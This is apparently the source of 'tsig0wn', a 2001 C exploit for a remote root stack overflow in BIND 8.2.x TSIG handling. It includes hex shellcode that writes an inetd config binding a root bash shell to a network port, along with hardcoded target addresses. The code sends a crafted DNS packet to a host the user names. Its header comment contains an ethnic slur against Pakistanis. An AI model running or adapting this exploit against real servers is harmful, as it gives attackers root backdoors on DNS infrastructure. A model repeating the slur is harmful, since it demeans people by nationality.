BIND 8.2.x - (TSIG) Remote Root Stack Overflow Exploit



/*

 * tsig0wn.c
 * Copyright Field Marshal August Wilhelm Anton Count Neithardt von Gneisenau
 * gneisenau@berlin.com
 * The author is not and will not be held responsible for the action of 
 * other people using this code.
 * provided for informational purposes only
 * since a greetz section is de rigeur
 * greets to my luv scharnie, sheib, darkx, famzah, brainstorm, ghQst, robbot, ......
 * a special fuck to all pakis including those idiots from GForce, etc....
 * but then pakistan is one big village comprising exclusively of prize idiots
 * tabstop set at 3
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/nameser.h>
#include    <netdb.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>

/*
 * This shellcode sux. cant ever get around to coding another one.
 */
char shellcode[] = {
0xeb,0x3b,0x5e,0x31,0xc0,0x31,0xdb,0xb0,0xa0,0x89,
0x34,0x06,0x8d,0x4e,0x07,0x88,0x19,0x41,0xb0,0xa4,                        
0x89,0x0c,0x06,0x8d,0x4e,0x0a,0x88,0x19,0x41,0xb0,
0xa8,0x89,0x0c,0x06,0x31,0xd2,0xb0,0xac,0x89,0x14,
0x06,0x89,0xf3,0x89,0xf1,0xb0,0xa0,0x01,0xc1,0xb0,
0x0b,0xcd,0x80,0x31,0xc0,0xb0,0x01,0x31,0xdb,0xcd,
0x80,0xe8,0xc0,0xff,0xff,0xff,0x2f,0x62,0x69,0x6e,
0x2f,0x73,0x68,0xff,0x2d,0x63,0xff,        
0x2f,0x62,0x69,0x6e,0x2f,0x65,0x63,0x68,0x6f,0x20,0x27,0x69,
0x6e,0x67,0x72,0x65,0x73,0x6c,0x6f,0x63,0x6b,0x20,0x73,0x74,
0x72,0x65,0x61,0x6d,0x20,0x74,0x63,0x70,0x20,0x6e,0x6f,0x77,
0x61,0x69,0x74,0x20,0x72,0x6f,0x6f,0x74,0x20,0x2f,0x62,0x69,
0x6e,0x2f,0x62,0x61,0x73,0x68,0x20,0x62,0x61,0x73,0x68,0x20,
0x20,0x2d,0x69,0x27,0x3e,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,
0x6e,0x65,0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x3b,0x20,0x2f,
0x75,0x73,0x72,0x2f,0x73,0x62,0x69,0x6e,0x2f,0x69,0x6e,0x65,
0x74,0x64,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,0x6e,0x65,
0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x00,
};

#define NS_T_TSIG 250
#define SHELLCODE_OFFSET 13
#define DUMMY_ARG_OFFSET 176
#define ENUM_FILE 1                //eventlib_p.h line 141


struct {
    char                 *system_name;
    unsigned int    buffer_start;            /* the address where out buffer starts in memory */
    unsigned int    frame_pointer;            /* content of the frame pointer */
    int                garbage_len;            /* length of the garbage in which we will embed ebp|eip */
} system[] =    {
                        { "Test value 1", 0xbffff640, 0xbffff868, 326, },
                        { "Test value 2", 0xbffff5f0, 0xbffff700, 326, },
                        { "Slackware 7.0", 0xbffff590, 0xbffff7e8, 326, },
                        { NULL, 0x0, 0x0, },
                    };

void usage (void);
void encode_dns_name (char *, int, int);

int
main (int argc, char *argv[])
{
    char                         query[PACKETSZ];    // construct our query packet here
    char                        *query_ptr;        // pointer to walk the query buffer
    HEADER                    *hdr_ptr;        // pointer to the header part of the query buffer

    int                        arg;
    unsigned int            buffer_start, 
                                frame_pointer, // value the frame pointer will have
                                shellcode_addr; // address our shellcode will have in the named buffer calculated from buffer_start
    int                        index;

    char                        *target_name;
    struct hostent            *target_host;    
    struct sockaddr_in    target;        
    int                        sockfd;

    if (argc < 2)
        usage ();

    while ((arg = getopt (argc, argv, "b:f:s:")) != -1) {
        switch (arg){
            case 'b':    sscanf (optarg, "%x", &buffer_start);
                            break;
            case 'f':    sscanf (optarg, "%x", &frame_pointer);
                            break;
            case 's':    index = atoi (optarg) - 1; 
                            buffer_start = system[index].buffer_start;
                            frame_pointer = system[index].frame_pointer;
                            break;
            default :    usage ();
        }
    }
    if (!(target_name = argv[optind])){
        fprintf (stderr, "tsig0wn: abysmal m0r0n error\n");
        exit (1);
    }

/*
 * Form a header. 
 */
     memset (query, 0, PACKETSZ);
     // cud blow up on other architectures not as liberal as x86. an union like in the bind sources is the correct way to go.
    hdr_ptr = (HEADER *)query;
    hdr_ptr->id = htons (0x1234);            
    hdr_ptr->qr = 0;                    
    hdr_ptr->opcode = 0;                    
    hdr_ptr->qdcount = htons (2);            
    hdr_ptr->arcount = htons (1);    


/*
 * Form a query after the header where we put in the shellcode
 */
    query_ptr = (char *) (hdr_ptr + 1);
    memcpy (query_ptr, shellcode, strlen (shellcode)+1);
    query_ptr += strlen (shellcode) + 1;
    PUTSHORT (T_A, query_ptr);
    PUTSHORT (C_IN, query_ptr);

/*
 * we form another header here that contains garbage with embedded stuff
 * i cud have put this in the same header as the shellcode and have the
 * shellcode nullify. (shrug)
 */
    {
        char *tmp;
        unsigned long dummy_argument = buffer_start+DUMMY_ARG_OFFSET;

        frame_pointer &= 0xffffff00; // zero out the LSB like the overflow in ns_sign will do

        // this will make layout a domain name for the second query, within which
        // we will embed our ebp | eip
        encode_dns_name (query_ptr, system[index].garbage_len, (frame_pointer - buffer_start) - (query_ptr - query));
        query_ptr += system[index].garbage_len;

        shellcode_addr = buffer_start + SHELLCODE_OFFSET;
        printf ("buffer starts at address = 0x%x\n", buffer_start);
        printf ("saved frame pointer after overwrite = 0x%x\n", frame_pointer);
        printf ("shellcode will reside at address = 0x%x\n", shellcode_addr);
        printf ("dummy argument will reside at address = 0x%x\n", dummy_argument);
        // put in the type member of evEvent_p. File is what we need
        tmp = query + DUMMY_ARG_OFFSET;
        tmp[0] = ENUM_FILE;
        tmp[1] = ENUM_FILE >> 8;
        tmp[2] = ENUM_FILE >> 16;
        tmp[3] = ENUM_FILE >> 24;

        // embed the addresses. These will be interpreted as ebp and eip. 
        // we put the address where our shellcode will be situated twice.
        // we overflow the saved frame pointer of datagram_read(). when the
        // function returns to __evDispatch() it calls __evDrop().
        // because we have shifted the frame pointer and thus __evDispatch()
        // notion of the stack we also provide two pointers as arguments to
        // __evDispatch. These pointers point to the start of this query header
        // name, within which __evDrop will look for evEvent_p->type. we set
        // type to be of type 'file' above which causes it to break and execute 
        // FREE() which in turn calls free().
        tmp = query + (frame_pointer - buffer_start);    // advance the ptr to the place where we put in our ebp|eip
        tmp[0] = shellcode_addr;
        tmp[1] = shellcode_addr >> 8;
        tmp[2] = shellcode_addr >> 16;
        tmp[3] = shellcode_addr >> 24;
        tmp[4] = shellcode_addr;
        tmp[5] = shellcode_addr >> 8;
        tmp[6] = shellcode_addr >> 16;
        tmp[7] = shellcode_addr >> 24;

        tmp[8] = dummy_argument;
        tmp[9] = dummy_argument >> 8;
        tmp[10] = dummy_argument >> 16;
        tmp[11] = dummy_argument >> 24;
        tmp[12] = dummy_argument;
        tmp[13] = dummy_argument >> 8;
        tmp[14] = dummy_argument >> 16;
        tmp[15] = dummy_argument >> 24;
    }
    PUTSHORT (T_A, query_ptr);
    PUTSHORT (C_IN, query_ptr);
/*
 * Additional section containing T_SIG stuff
 */
     // a name with only one char
    memcpy (query_ptr, "\x01m\x00", 3); 
    query_ptr+=3;
    PUTSHORT (NS_T_TSIG, query_ptr);
    PUTSHORT (C_IN, query_ptr);
// these members wont be checked at all as find_key returns NULL on testing secretkey_info. 
//    PUTLONG (0, query_ptr);            
//    PUTSHORT (0, query_ptr);                

/*
 * Connect and deliver the payload
 */
    if (!(target_host = gethostbyname (target_name))){
        fprintf (stderr, "host name resolution error for %s: %s\n", target_name, hstrerror (h_errno));
        exit (1);
    }
    if ((sockfd = socket (PF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0){
        perror ("socket");
        exit (1);
    }
    memset (&target, 0, sizeof (target));
    target.sin_family = AF_INET;
    target.sin_port = htons (53);
    target.sin_addr.s_addr = ((struct in_addr *)target_host->h_addr_list[0])->s_addr;

    if (connect (sockfd, &target, sizeof (target)) < 0){
        perror ("connect");
        exit (1);
    }
    if (send (sockfd, query, query_ptr - query, 0) < 0){
        perror ("send");
        exit (1);
    }
    exit (0);
}


void 
usage (void)
{
    int i;
    fprintf (stderr, "                             tsig0wn\n");
    fprintf (stderr, "Copyright Field Marshal August Wilhelm Anton Count Neithardt von Gneisenau\n");
    fprintf (stderr, "\nAvailable System Types\n");
    for (i = 0; system[i].system_name; i++)
        fprintf (stderr, "%d. %s\n", i+1, system[i].system_name);
    fprintf (stderr, "\nUsage:\n");
    fprintf (stderr, "tsig0wn [ -s system type ] target\nor\n");
    fprintf (stderr, "tsig0wn [ -b buffer start address ] [ -f frame pointer content ] target\n");
    exit (1);
}

/*
 * a pretty convoluted function.
 * len is the number of octects to fill in (including the length octect)
 * embed_pos is the position where we need to embed this |len|ebp|eip|. 
 *    Hopefully when we overwrite the saved ebp on the stack
 * we expect it to point here and take the eip (which in turn points to our
 * shellcode) from here. The challenge here is to lay out the octets so 
 * that it doesnt clash with embed_pos.
 */

void
encode_dns_name (char *buf, int len, int embed_pos)
{
    int    ctr = 0;
    int    adjusted = 0;
    embed_pos -= 2;        // our ebp | eip needs the length octet before it, so adjust for it now + 1 
    len--;                    // for the NULL octet at the end.

    // sanity check
    if (embed_pos >= len){
        fprintf (stderr, "encode_dns_name: embed_pos >= len\n");
        exit (1);
    }
    while (ctr < len)
        // max 63 octets allowed + preceding 1 octet for length
        if (ctr+64 <= len){     // enough space for another 63+1
            if (ctr+64 <= embed_pos || adjusted){    // embed_pos not in between
                *buf++ = 63;
                memset (buf, 'g', 63); buf += 63;
                ctr+=64; 
            }
            else {                // need to adjust cuz embed_pos in between
                *buf++ = embed_pos-ctr-1;
                memset (buf, 'o', embed_pos-ctr-1); buf += embed_pos-ctr-1; 
                ctr+= embed_pos-ctr; 
                adjusted++;
            }
        }
        else {
            if (len - ctr <= embed_pos || adjusted){ // only remaining len - ctr
                *buf++ = len-ctr-1;
                memset (buf, 'g', len-ctr-1);
                ctr += 63; // we are quitting anyway after this. no need to update ctrs
            }
            else{
                *buf++ = embed_pos-len-ctr-1;
                memset (buf, 'o', embed_pos-len-ctr-1); buf += embed_pos-len-ctr-1; 
                ctr += embed_pos-len-ctr; 
                adjusted++;
            }
        }
    *buf=0x00;     // finish with a 0 
}


// milw0rm.com [2001-03-01]